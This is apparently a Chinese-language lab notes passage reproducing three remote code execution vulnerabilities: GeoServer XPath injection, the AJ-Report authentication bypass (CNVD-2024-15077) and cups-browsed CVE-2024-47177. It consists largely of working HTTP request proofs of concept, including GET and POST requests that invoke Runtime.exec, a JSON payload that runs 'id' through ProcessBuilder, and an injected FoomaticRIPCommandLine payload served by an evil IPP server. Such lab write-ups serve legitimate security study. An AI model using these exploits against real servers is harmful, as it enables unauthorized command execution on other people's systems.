已确认可通过 WFS GetFeature、WFS GetPropertyValue、WMS GetMap、WMS GetFeatureInfo、WMS GetLegendGraphic 和 WPS Execute 请求利用此漏洞。已确认可通过 WFS GetFeature、WFS GetPropertyValue、WMS GetMap、WMS GetFeatureInfo、WMS GetLegendGraphic 和 WPS Execute 请求利用此漏洞。

这里使用GetPropertyValue来执行xpath表达式。

基于GET方法的POC:

GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/success1') HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0

image-20241120001445232

基于POST方法的POC:

POST /geoserver/wfs HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/success2')</wfs:valueReference>
</wfs:GetPropertyValue>

image-20241120001729204

修改包要调整Content-Type: application/xml

AJ-Report 认证绕过与远程代码执行漏洞(CNVD-2024-15077)

AJ-Report是全开源的一个BI平台。在其1.4.0版本及以前,存在一处认证绕过漏洞,攻击者利用该漏洞可以绕过权限校验并执行任意代码。

image-20241120221853461

poc

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1

Host: 127.0.0.1:9095

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Cookie: adminer_permanent=; OFBiz.Visitor=10000

Content-Type: application/json;charset=UTF-8

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: none

Sec-Fetch-User: ?1

Content-Type: application/x-www-form-urlencoded

Content-Length: 341



{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

依然是要记得改Content-Type: application/json;charset=UTF-8

rce成功

OpenPrinting Cups-Browsed PDD FoomaticRIPCommandLine 参数导致远程命令执行漏洞(CVE-2024-47177)

这个洞在HTB_EvilCUPS遇到过。

OpenPrinting CUPS(通用Unix打印系统)是为类Unix操作系统开发的开源打印系统。它允许计算机充当打印服务器,高效管理本地和网络打印机。Cups-Browsed是CUPS系统的一部分,是一个专门用于浏览网络上其他CUPS服务器共享的远程打印机的守护进程。它可以自动发现和配置网络打印机,让用户更容易访问和使用网络上共享的打印资源,无需手动设置。

在Cups-Browsed 2.0.1及之前的版本中,存在一个由PPD(PostScript打印机描述)文件中的FoomaticRIPCommandLine参数处理不当引起的问题。攻击者可以通过创建一个恶意的IPP(互联网打印协议)服务器来利用这个漏洞,向易受攻击的Cups-Browsed实例发送精心制作的打印机信息,然后在运行易受攻击的Cups-Browsed的系统上执行任意命令。

vulhub/evil-ipp-server: A evil IPP server to reproduce CVE-2024-47177

IppSec/evil-cups

python poc.py [evil-ip] [target-ip]

这个脚本会在[evil-ipp-server-ip]上启动一个恶意的IPP服务器,并向目标机器[target-ip]上的Cups-Browsed服务发送一个UDP数据包。

一旦Cups-Browsed接收到请求,它将尝试连接到恶意的IPP服务器并。IPP服务器会返回精心构造的printer-privacy-policy-uri属性,该属性中包含恶意payload,其结构如下:

(
    SectionEnum.printer,
    b'printer-privacy-policy-uri',
    TagEnum.uri
): [b'https://www.google.com/"\n*FoomaticRIPCommandLine: "' +
    b'echo 1 > /tmp/I_AM_VULNERABLE' +
    b'"\n*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip'],

然后,Cups-Browsed会在/tmp/目录下创建一个临时PPD文件,我们的payload会被注入到这个文件中。下图是相关的Cups-Browsed日志:

img

此时,命令还未执行,因为我们需要至少一个打印任务来触发命令的执行。

打印任务可能来自于正常用户,也可以来自攻击者。如果TCP 631端口开放,我们可以使用浏览器访问,并找到刚才增加的恶意IPP打印机,并创建一个“打印测试页面”的打印任务。

这里环境打不开,先到这里吧。